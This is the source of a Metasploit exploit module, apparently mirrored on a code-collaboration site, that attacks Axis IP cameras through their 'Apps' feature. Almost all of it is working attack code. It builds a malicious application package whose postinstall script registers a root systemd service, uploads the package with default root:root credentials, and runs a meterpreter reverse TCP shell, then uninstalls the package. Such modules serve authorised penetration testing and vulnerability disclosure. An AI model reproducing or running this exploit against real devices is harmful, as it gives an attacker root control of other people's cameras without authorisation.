Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/axis_app_install.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::CmdStager11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Axis IP Camera Application Upload',18'Description' => %q{19This module exploits the "Apps" feature in Axis IP cameras. The feature allows third party20developers to upload and execute 'eap' applications on the device. The system does not validate21the application comes from a trusted source, so a malicious attacker can upload and execute22arbitrary code. The issue has no CVE, although the technique was made public in 2018.2324This module uploads and executes stageless meterpreter as `root`. Uploading the application25requires valid credentials. The default administrator credentials used to be `root:root` but26newer firmware versions force users to provide a new password for the `root` user.2728The module was tested on an Axis M3044-V using the latest firmware (9.80.3.8: December 2021).29Although all modules that support the "Apps" feature are presumed to be vulnerable.30},31'License' => MSF_LICENSE,32'Author' => [33'jbaines-r7' # Discovery and Metasploit module34],35'References' => [36[ 'URL', 'https://www.tenable.com/blog/tenable-research-advisory-axis-camera-app-malicious-package-distribution-weakness'],37[ 'URL', 'https://www.axis.com/support/developer-support/axis-camera-application-platform']38],39'DisclosureDate' => '2018-04-12',40'Platform' => ['linux'],41'Arch' => [ARCH_ARMLE],42'Privileged' => true,43'Targets' => [44[45'Linux Dropper',46{47'Platform' => 'linux',48'Arch' => [ARCH_ARMLE],49'Type' => :linux_dropper,50'Payload' => {},51'DefaultOptions' => {52'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' # Use stagless payloads until issue 16107 gets addressed to fix the ARMLE stager53}54}55]56],57'DefaultTarget' => 0,58'DefaultOptions' => {59'RPORT' => 80,60'SSL' => false61},62'Notes' => {63'Stability' => [CRASH_SAFE],64'Reliability' => [REPEATABLE_SESSION],65'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]66}67)68)69register_options([70OptString.new('TARGETURI', [true, 'Base path', '/']),71OptString.new('USERNAME', [true, 'The username to authenticate with', 'root']),72OptString.new('PASSWORD', [true, 'The password to authenticate with', 'root'])73])74end7576# Check function will attempt to verify:77#78# 1. The provided credentials work for authentication79# 2. The remote target is an axis camera80# 3. The applications API exists.81#82def check83# grab the brand/model. Shouldn't require authentication.84res = send_request_cgi({85'method' => 'GET',86'uri' => normalize_uri(target_uri.path, '/axis-cgi/prod_brand_info/getbrand.cgi')87})8889return CheckCode::Unknown unless res && (res.code == 200)9091body_json = res.get_json_document92return CheckCode::Unknown if body_json.empty? || body_json.dig('Brand', 'ProdShortName').nil?9394# The brand / model are now known95check_comment = "The target reports itself to be a '#{body_json.dig('Brand', 'ProdShortName')}'."9697# check to see if the applications api exists (also tests credentials)98res = send_request_cgi({99'method' => 'GET',100'username' => datastore['USERNAME'],101'password' => datastore['PASSWORD'],102'uri' => normalize_uri(target_uri.path, '/axis-cgi/applications/list.cgi')103})104105# A strange edge case where there is no response... respond detected106return CheckCode::Detected unless res107# Respond safe if credentials fail, to prevent the exploit from running108return CheckCode::Safe('The user provided credentials did not work.') if res.code == 401109# Assume any non-200 means the API doesn't exist110return CheckCode::Safe(check_comment) if res.code != 200111112# This checks for an XML response which I'm not sure is smart considering most of the device113# does JSON replies... the concerning being that this response has changed in newer models114return CheckCode::Safe(check_comment) unless res.body.include?('<reply result="ok">') != 200115116CheckCode::Appears(check_comment)117end118119# Creates a malicious "eap" application. The package application will gain execution120# through the postinstall script. The script, which executes as a systemd oneshot, will121# create and execute a new service for the payload. We have to do this because the oneshot122# child processes will be terminated when the main binary exits. Executing the payload from123# a new service gets around that issue.124#125# The eap registers as a "lua" apptype, because the binary version (armv7hf) gets checked126# for some required libraries whereas the lua version is just accepted.127#128# The construction of the eap follows this pattern:129# * tar -cf exploit payload package.conf postinstall.sh payload.service130# * gzip exploit131# * mv exploit.gz exploit.eap132def create_eap(payload, appname)133print_status("Creating an application package named: #{appname}")134script_name = "#{Rex::Text.rand_text_alpha_lower(3..8)}.sh"135136package_conf = "PACKAGENAME='#{Rex::Text.rand_text_alpha(4..14)}'\n" \137"APPTYPE='lua'\n" \138"APPNAME='#{appname}'\n" \139"APPID='48#{Rex::Text.rand_text_numeric(3)}'\n" \140"APPMAJORVERSION='#{Rex::Text.rand_text_numeric(1)}'\n" \141"APPMINORVERSION='#{Rex::Text.rand_text_numeric(1..2)}'\n" \142"APPMICROVERSION='#{Rex::Text.rand_text_numeric(1..3)}'\n" \143"APPGRP='root'\n" \144"APPUSR='root'\n" \145"POSTINSTALLSCRIPT='#{script_name}'\n" \146"STARTMODE='respawn'\n"147148# this sync, sleep, cp, sleep pattern is not optimal, but the underlying149# filesystem was taking time to catch up to the exploit (and mounting and150# unmounting itself which is just weird) and this seemed like a reasonable,151# if not hacky, way to give it a chance to catch up. Seems to work well.152start_service =153"#!/bin/sh\n"\154"\nsync\n"\155"\nsleep 2\n"\156"\ncp ./#{appname}.service /etc/systemd/system/\n" \157"\nsleep 2\n"\158"\nsystemctl start #{appname}\n"159160# only register the service file for deletion. Everything else will be161# deleted by the uninstall function called later.162register_file_for_cleanup("/etc/systemd/system/#{appname}.service")163164service =165"[Unit]\n"\166"Description=\n"\167"[Service]\n"\168"Type=simple\n"\169"User=root\n"\170"ExecStart=/usr/local/packages/#{appname}/#{appname}\n"\171"\n"\172"[Install]\n"\173"WantedBy=multi-user.target\n"174175tarfile = StringIO.new176Rex::Tar::Writer.new tarfile do |tar|177tar.add_file('package.conf', 0o644) do |io|178io.write package_conf179end180tar.add_file(script_name.to_s, 0o755) do |io|181io.write start_service182end183tar.add_file(appname.to_s, 0o755) do |io|184io.write payload185end186tar.add_file("#{appname}.service", 0o644) do |io|187io.write service188end189end190tarfile.rewind191tarfile.close192193Rex::Text.gzip(tarfile.string)194end195196# Upload the malicious EAP application for a root shell. Always attempt to uninstall the application197def exploit198appname = Rex::Text.rand_text_alpha_lower(3)199eap = create_eap(payload.encoded, appname)200201# Instruct the application to install the constructed EAP202multipart_form = Rex::MIME::Message.new203multipart_form.add_part('{"apiVersion":"1.0","method":"install"}', 'application/json', nil, 'form-data; name="data"; filename="blob"')204multipart_form.add_part(eap, 'application/octet-stream', 'binary', "form-data; name=\"fileData\"; filename=\"#{appname}.eap\"")205206install_endpoint = normalize_uri(target_uri.path, '/axis-cgi/packagemanager.cgi')207print_status("Sending an application upload request to #{install_endpoint}")208res = send_request_cgi({209'method' => 'POST',210'username' => datastore['USERNAME'],211'password' => datastore['PASSWORD'],212'uri' => install_endpoint,213'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",214'data' => multipart_form.to_s215})216217# check for successful installation218fail_with(Failure::Disconnected, 'Connection failed') unless res219fail_with(Failure::UnexpectedReply, "HTTP status code is not 200 OK: #{res.code}") unless res.code == 200220body_json = res.get_json_document221fail_with(Failure::UnexpectedReply, 'Missing JSON response') if body_json.empty?222# {"apiVersion"=>"1.4", "method"=>"install", "error"=>{"code"=>60, "message"=>"Failed to install acap"}}223fail_with(Failure::UnexpectedReply, 'The target responded with a JSON error') unless body_json['error'].nil?224225# syncing the unstaged meterpreter payload seems to take a little bit for the poor little226# embedded filesystem. Give it a chance to sync up before we try to remove the application.227print_good('Application installed. Pausing 5 seconds to let the filesystem sync.')228sleep(5)229ensure230uninstall_endpoint = normalize_uri(target_uri.path, '/axis-cgi/applications/control.cgi')231print_status("Sending a delete application request to #{uninstall_endpoint}")232res = send_request_cgi({233'method' => 'GET',234'username' => datastore['USERNAME'],235'password' => datastore['PASSWORD'],236'uri' => uninstall_endpoint,237'vars_get' => {238'action' => 'remove',239'package' => appname.to_s240}241})242243# instructions for manually removal if the above fails. That should never happen, but best be safe.244removal_instructions = 'To manually remove the application, log in to the system and then select the apps tab. ' \245"Find the app named '#{appname}' and select it. Click the trash bin icon to uninstall it."246247# check for successful removal248print_bad("The server did not respond to the application deletion request. #{removal_instructions}") unless res249print_bad("The server did not respond with 200 OK to the application deletion request. #{removal_instructions}") unless res.code == 200250print_bad("The application deletion response did not contain the expected body. #{removal_instructions}") unless res.body.include?('OK')251print_good("The application #{appname} was successfully removed from the target!")252end253end254255256